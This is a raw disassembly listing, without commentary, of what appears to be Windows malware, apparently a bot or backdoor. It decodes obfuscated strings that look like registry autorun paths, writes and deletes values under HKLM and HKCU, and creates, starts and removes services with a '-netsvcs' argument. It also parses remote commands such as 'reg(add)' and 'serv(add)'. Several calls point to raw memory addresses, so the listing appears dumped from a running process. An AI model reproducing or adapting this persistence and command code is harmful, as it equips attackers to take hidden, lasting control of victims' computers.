arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40E2F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_54]
		call	sub_40142E
		lea	ecx, [esp+80h+var_6C]
		mov	[esp+80h+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_40142E
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019C4
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019C4
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019C4
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017EE
		mov	ebp, dword_51175C
		push	eax
		push	80000002h
		call	ebp
		mov	esi, [esp+80h+arg_4]
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		mov	ebx, [esp+84h+arg_0]
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2940000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2900000h
		push	0
		lea	eax, [esp+84h+var_70]
		lea	ecx, [esp+84h+var_6C]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		call	sub_4017EE
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2940000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2900000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2940000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2900000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		call	near ptr 2940000h
		nop
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2900000h
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	ebp
		mov	ecx, esi
		call	sub_40168B
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, esi
		call	sub_40168B
		push	eax
		push	1
		push	0
		mov	ecx, ebx
		call	sub_40168B
		mov	ecx, [esp+90h+var_70]
		push	eax
		push	ecx
		nop
		call	near ptr 2940000h
		mov	edx, [esp+80h+var_70]
		push	edx
		nop
		call	near ptr 2900000h
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_6C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+80h+var_54]
		mov	[esp+80h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	8
sub_40E2F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E870	proc near		; CODE XREF: sub_401451j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40E870
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_6C]
		call	sub_40142E
		lea	ecx, [esp+80h+var_3C]
		mov	[esp+80h+var_4], 0
		call	sub_40142E
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_40142E
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	eax, [esp+144h+var_24]
		mov	bl, 2
		push	2Dh
		push	eax
		mov	byte ptr [esp+14Ch+var_4], bl
		call	sub_4019C4
		add	esp, 0CCh
		push	eax
		lea	ecx, [esp+84h+var_3C]
		mov	byte ptr [esp+84h+var_4], 3
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	13h
		push	5
		push	3
		push	9
		push	16h
		push	12h
		push	5
		push	2Dh
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4019C4
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4019C4
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_40202C
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_401226
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		mov	esi, dword_51175C
		push	eax
		push	80000002h
		call	esi
		mov	edi, [esp+80h+arg_0]
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		mov	ebp, dword_51176C
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		mov	ebx, dword_511740
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_4017EE
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_40168B
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_401226
		mov	[esp+80h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+80h+var_6C]
		call	sub_401226
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	4
sub_40E870	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ED00	proc near		; CODE XREF: sub_4014A1j

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40ED00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebx
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+5Ch+var_24]
		call	sub_40142E
		push	104h
		push	104h
		lea	ecx, [esp+64h+var_24]
		mov	[esp+64h+var_4], 0
		call	sub_401C71
		push	eax
		call	near ptr 27F0000h
		nop
		lea	ecx, [esp+5Ch+var_3C]
		call	sub_40142E
		mov	ecx, [esp+5Ch+arg_4]
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+60h+var_24]
		call	sub_4017EE
		push	eax
		lea	eax, [esp+64h+var_3C]
		push	offset dword_444684
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+5Ch+var_54]
		call	sub_40142E
		lea	ecx, [esp+5Ch+var_54]
		push	offset aNetsvcs	; "-netsvcs"
		push	ecx
		mov	byte ptr [esp+64h+var_4], 2
		call	sub_40102D
		mov	ecx, [esp+64h+arg_0]
		add	esp, 8
		lea	edx, [esp+5Ch+var_54]
		lea	eax, [esp+5Ch+var_3C]
		push	edx
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_402171
		lea	ecx, [esp+5Ch+var_54]
		mov	bl, al
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_401226
		lea	ecx, [esp+5Ch+var_3C]
		mov	byte ptr [esp+5Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+5Ch+var_24]
		mov	[esp+5Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+5Ch+var_C]
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 54h
		retn	8
sub_40ED00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40EE40	proc near		; CODE XREF: sub_402171j

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40EE40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		mov	[esp+5Ch+var_44], ecx
		push	0
		nop
		call	near ptr 2900913h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40EE7F
		xor	al, al
		jmp	loc_40EFD0
; ---------------------------------------------------------------------------


loc_40EE7F:				; CODE XREF: sub_40EE40+36j
		lea	ecx, [esp+54h+var_24]
		call	sub_40142E
		mov	ecx, [esp+54h+arg_8]
		mov	[esp+54h+var_4], 0
		call	sub_4017EE
		mov	ebx, [esp+54h+arg_4]
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		push	eax
		lea	eax, [esp+5Ch+var_24]
		push	offset aSS_4	; "\"%s\" %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+54h+var_24]
		push	0
		push	0
		push	0
		push	0
		push	0
		call	sub_4017EE
		push	eax
		push	1
		push	2
		push	20h
		push	0F01FFh
		mov	ecx, offset dword_449834
		call	sub_4017EE
		mov	ebp, [esp+7Ch+arg_0]
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		push	edi
		nop
		call	near ptr 2900C69h
		mov	esi, eax
		xor	ecx, ecx
		cmp	esi, ecx
		jnz	short loc_40EF65
		call	near ptr 27C0890h
		nop
		cmp	eax, 431h
		jnz	short loc_40EF49
		mov	ecx, [esp+54h+var_44]
		push	ebp
		call	sub_401951
		mov	esi, dword_511754
		push	0
		call	esi
		push	edi
		call	esi
		mov	ecx, [esp+54h+var_44]
		push	ebx
		push	ebp
		call	sub_4014A1
		lea	ecx, [esp+54h+var_24]
		mov	bl, al
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_40EFD0
; ---------------------------------------------------------------------------


loc_40EF49:				; CODE XREF: sub_40EE40+CBj
		push	edi
		call	near ptr 2910000h
		nop
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	short loc_40EFD0
; ---------------------------------------------------------------------------


loc_40EF65:				; CODE XREF: sub_40EE40+BEj
		lea	edx, [esp+54h+var_38]
		mov	[esp+54h+var_34], ecx
		mov	dword ptr [esp+54h+var_30], ecx
		push	edx
		mov	eax, 1
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+58h+var_40]
		push	2
		push	esi
		mov	[esp+60h+var_3C], eax
		mov	[esp+60h+var_40], eax
		mov	[esp+60h+var_38], ebx
		mov	[esp+60h+var_2C], eax
		mov	[esp+60h+var_28], ecx
		call	near ptr 29102A5h
		nop
		test	eax, eax
		push	esi
		mov	esi, dword_511754
		jnz	short loc_40EFBC
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		xor	al, al
		jmp	short loc_40EFD0
; ---------------------------------------------------------------------------


loc_40EFBC:				; CODE XREF: sub_40EE40+164j
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_401226
		mov	al, 1


loc_40EFD0:				; CODE XREF: sub_40EE40+3Aj
					; sub_40EE40+104j ...
		mov	ecx, [esp+54h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	0Ch
sub_40EE40	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F060	proc near		; CODE XREF: sub_401951j

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2900913h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40F087
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F087:				; CODE XREF: sub_40F060+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	edi
		nop
		call	near ptr 28A0000h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F0B4
		push	edi
		call	near ptr 2910000h
		nop
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F0B4:				; CODE XREF: sub_40F060+41j
		lea	eax, [esp+24h+var_1C]
		push	eax
		push	1
		push	esi
		nop
		call	near ptr 29004A2h
		push	esi
		nop
		call	near ptr 2900735h
		push	esi
		mov	esi, dword_511754
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 1Ch
		retn	4
sub_40F060	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F100	proc near		; CODE XREF: sub_401FD2j

arg_0		= dword	ptr  4

		push	esi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		nop
		call	near ptr 2900913h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F11F
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F11F:				; CODE XREF: sub_40F100+17j
		mov	ecx, [esp+4+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	esi
		call	near ptr 28A0000h
		nop
		test	eax, eax
		jnz	short loc_40F146
		push	esi
		nop
		call	near ptr 2910000h
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F146:				; CODE XREF: sub_40F100+37j
		push	edi
		mov	edi, dword_511754
		push	eax
		call	edi
		push	esi
		call	edi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F100	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40F180	proc near		; CODE XREF: sub_401FFAj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	0F003Fh
		push	offset aServicesactive ; "ServicesActive"
		push	0
		call	near ptr 2900913h
		nop
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40F1A1
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F1A1:				; CODE XREF: sub_40F180+18j
		mov	ecx, [esp+8+arg_0]
		push	0F01FFh
		call	sub_4017EE
		push	eax
		push	edi
		nop
		call	near ptr 28A0000h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40F1CB
		push	edi
		nop
		call	near ptr 2910000h
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40F1CB:				; CODE XREF: sub_40F180+3Bj
		push	0
		push	0
		push	esi
		nop
		call	near ptr 28F0BD9h
		push	esi
		mov	esi, dword_511754
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40F180	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40F210:				; CODE XREF: ___:loc_4014ABj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43A348
		push	eax
		mov	large fs:0, esp
		sub	esp, 60h
		push	ebx
		push	esi
		mov	esi, [esp+78h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+19h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F30A
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+14h]
		push	2
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+84h], ebx
		call	sub_4011EA
		lea	edx, [esp+0Ch]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+7Ch], 1
		call	sub_401730
		test	al, al
		jz	short loc_40F2D6
		lea	ecx, [esp+0Ch]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+28h]
		call	sub_4017EE
		push	eax
		push	offset aRegAddSAsS_ ; "reg(add)	\"%s\" as \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch


loc_40F2D6:				; CODE XREF: ___:0040F297j
		lea	ecx, [esp+0Ch]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F30A:				; CODE XREF: ___:0040F246j
		lea	ecx, [edi+47h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F3A9
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 2
		push	ecx
		mov	ecx, edi
		call	sub_401451
		test	al, al
		jz	short loc_40F382
		lea	ecx, [esp+24h]
		call	sub_4017EE
		push	eax
		push	offset aRegDelS_ ; "reg(del) \"%s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h


loc_40F382:				; CODE XREF: ___:0040F34Dj
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F3A9:				; CODE XREF: ___:0040F31Cj
		lea	ecx, [edi+75h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F4BF
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+44h]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+14h]
		push	2
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+84h], 3
		call	sub_4011EA
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+2Ch]
		mov	bl, 4
		push	3
		push	eax
		mov	ecx, esi
		mov	[esp+84h], bl
		call	sub_4011EA
		lea	ecx, [esp+24h]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+40h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+80h], 5
		call	sub_402171
		test	al, al
		jz	short loc_40F47D
		lea	ecx, [esp+24h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+10h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+44h]
		call	sub_4017EE
		push	eax
		push	offset aServAddSAsSS_ ;	"serv(add) \"%s\" as \"\"%s\" %s\"."
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 20h


loc_40F47D:				; CODE XREF: ___:0040F434j
		lea	ecx, [esp+24h]
		mov	[esp+74h], bl
		call	sub_401226
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+74h], 3
		call	sub_401226
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40F4BF:				; CODE XREF: ___:0040F3BBj
		lea	ecx, [edi+0A3h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40F561
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+5Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 6
		push	ecx
		mov	ecx, edi
		call	sub_401951
		test	al, al
		jz	short loc_40F53A
		lea	ecx, [esp+54h]
		call	sub_4017EE
		push	eax
		push	offset aServDelS_ ; "serv(del) \"%s\"."
